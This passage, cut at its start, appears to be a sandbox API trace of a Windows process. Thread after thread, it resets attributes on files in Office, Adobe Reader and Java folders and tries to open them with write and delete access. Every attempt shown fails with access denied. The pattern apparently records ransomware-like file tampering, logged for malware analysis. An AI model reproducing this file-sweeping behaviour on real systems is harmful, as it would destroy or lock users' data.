dwFileAttributes=0x20) returned 0 [0180.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8528) returned 1 Thread: id = 6525 os_tid = 0xbb4 [0172.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 0x20 [0174.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", dwFileAttributes=0x20) returned 0 [0174.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.366] GetLastError () returned 0x5 [0174.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", dwFileAttributes=0x20) returned 0 [0174.366] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8258) returned 1 Thread: id = 6526 os_tid = 0xbb8 [0172.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 0x20 [0174.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", dwFileAttributes=0x20) returned 0 [0174.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.365] GetLastError () returned 0x5 [0174.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT", dwFileAttributes=0x20) returned 0 [0174.365] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6a28) returned 1 Thread: id = 6527 os_tid = 0xbbc [0172.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20 [0174.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0174.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.363] GetLastError () returned 0x5 [0174.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0174.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7cb8) returned 1 Thread: id = 6528 os_tid = 0xbc0 [0172.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20 [0174.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0174.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.362] GetLastError () returned 0x5 [0174.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0174.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7f88) returned 1 Thread: id = 6529 os_tid = 0xbcc [0172.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 0x20 [0174.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0174.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.361] GetLastError () returned 0x5 [0174.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0174.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6f38) returned 1 Thread: id = 6553 os_tid = 0x1028 [0172.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf")) returned 0x20 [0172.925] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0172.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.925] GetLastError () returned 0x5 [0172.925] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0172.925] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494f38) returned 1 Thread: id = 6646 os_tid = 0x13c4 [0173.241] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx")) returned 0x20 [0173.241] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0173.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.241] GetLastError () returned 0x5 [0173.241] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0173.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c1a8) returned 1 Thread: id = 6647 os_tid = 0xadc [0173.242] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx")) returned 0x20 [0173.243] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0173.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.243] GetLastError () returned 0x5 [0173.243] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0173.243] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97adb8) returned 1 Thread: id = 6648 os_tid = 0x13c8 [0173.244] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\azores")) returned 0x20 [0173.245] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores", dwFileAttributes=0x20) returned 0 [0173.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\azores"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.249] GetLastError () returned 0x5 [0173.249] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores", dwFileAttributes=0x20) returned 0 [0173.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e18) returned 1 Thread: id = 6649 os_tid = 0x13d0 [0173.252] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\bermuda")) returned 0x20 [0173.969] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda", dwFileAttributes=0x20) returned 0 [0173.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\bermuda"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.970] GetLastError () returned 0x5 [0173.970] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda", dwFileAttributes=0x20) returned 0 [0173.970] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0980) returned 1 Thread: id = 6650 os_tid = 0xf10 [0173.254] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\canary")) returned 0x20 [0173.971] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary", dwFileAttributes=0x20) returned 0 [0173.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\canary"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.971] GetLastError () returned 0x5 [0173.971] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Canary", dwFileAttributes=0x20) returned 0 [0173.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e90e8) returned 1 Thread: id = 6660 os_tid = 0xc3c [0173.287] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb")) returned 0x20 [0173.289] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB", dwFileAttributes=0x20) returned 0 [0173.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.292] GetLastError () returned 0x5 [0173.292] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB", dwFileAttributes=0x20) returned 0 [0173.294] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6d40) returned 1 Thread: id = 6684 os_tid = 0x1450 [0173.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt")) returned 0x20 [0174.418] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT", dwFileAttributes=0x20) returned 0 [0174.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.418] GetLastError () returned 0x5 [0174.418] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT", dwFileAttributes=0x20) returned 0 [0174.419] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea78) returned 1 Thread: id = 6685 os_tid = 0x1454 [0173.697] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1")) returned 0x20 [0174.419] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1", dwFileAttributes=0x20) returned 0 [0174.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.420] GetLastError () returned 0x5 [0174.420] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1", dwFileAttributes=0x20) returned 0 [0174.420] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f10c8) returned 1 Thread: id = 6686 os_tid = 0x1458 [0173.697] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+10")) returned 0x20 [0174.421] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10", dwFileAttributes=0x20) returned 0 [0174.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+10"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.421] GetLastError () returned 0x5 [0174.421] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10", dwFileAttributes=0x20) returned 0 [0174.421] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1a68) returned 1 Thread: id = 6687 os_tid = 0x594 [0173.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11")) returned 0x20 [0174.422] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11", dwFileAttributes=0x20) returned 0 [0174.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.422] GetLastError () returned 0x5 [0174.422] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11", dwFileAttributes=0x20) returned 0 [0174.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0cd8) returned 1 Thread: id = 6688 os_tid = 0x145c [0173.699] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+12")) returned 0x20 [0174.423] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12", dwFileAttributes=0x20) returned 0 [0174.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+12"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.423] GetLastError () returned 0x5 [0174.423] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12", dwFileAttributes=0x20) returned 0 [0174.423] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f11a8) returned 1 Thread: id = 6689 os_tid = 0xcc4 [0173.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+2")) returned 0x20 [0174.424] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2", dwFileAttributes=0x20) returned 0 [0174.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.424] GetLastError () returned 0x5 [0174.424] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2", dwFileAttributes=0x20) returned 0 [0174.424] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1448) returned 1 Thread: id = 6690 os_tid = 0xcc8 [0173.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+3")) returned 0x20 [0174.425] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3", dwFileAttributes=0x20) returned 0 [0174.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.425] GetLastError () returned 0x5 [0174.425] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3", dwFileAttributes=0x20) returned 0 [0174.426] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f19f8) returned 1 Thread: id = 6691 os_tid = 0xea0 [0173.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+4")) returned 0x20 [0174.427] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4", dwFileAttributes=0x20) returned 0 [0174.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.427] GetLastError () returned 0x5 [0174.427] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4", dwFileAttributes=0x20) returned 0 [0174.427] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1838) returned 1 Thread: id = 6692 os_tid = 0x1130 [0173.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+5")) returned 0x20 [0174.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5", dwFileAttributes=0x20) returned 0 [0174.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.429] GetLastError () returned 0x5 [0174.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5", dwFileAttributes=0x20) returned 0 [0174.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0f78) returned 1 Thread: id = 6693 os_tid = 0x11dc [0173.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+6")) returned 0x20 [0174.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6", dwFileAttributes=0x20) returned 0 [0174.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+6"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.430] GetLastError () returned 0x5 [0174.430] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6", dwFileAttributes=0x20) returned 0 [0174.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1b48) returned 1 Thread: id = 6694 os_tid = 0x1288 [0173.712] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+7")) returned 0x20 [0174.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7", dwFileAttributes=0x20) returned 0 [0174.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+7"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.431] GetLastError () returned 0x5 [0174.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7", dwFileAttributes=0x20) returned 0 [0174.431] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1598) returned 1 Thread: id = 6695 os_tid = 0x176c [0173.713] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8")) returned 0x20 [0174.432] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8", dwFileAttributes=0x20) returned 0 [0174.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.432] GetLastError () returned 0x5 [0174.432] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8", dwFileAttributes=0x20) returned 0 [0174.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1218) returned 1 Thread: id = 6696 os_tid = 0x1c1c [0173.714] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+9")) returned 0x20 [0174.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9", dwFileAttributes=0x20) returned 0 [0174.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+9"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.433] GetLastError () returned 0x5 [0174.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9", dwFileAttributes=0x20) returned 0 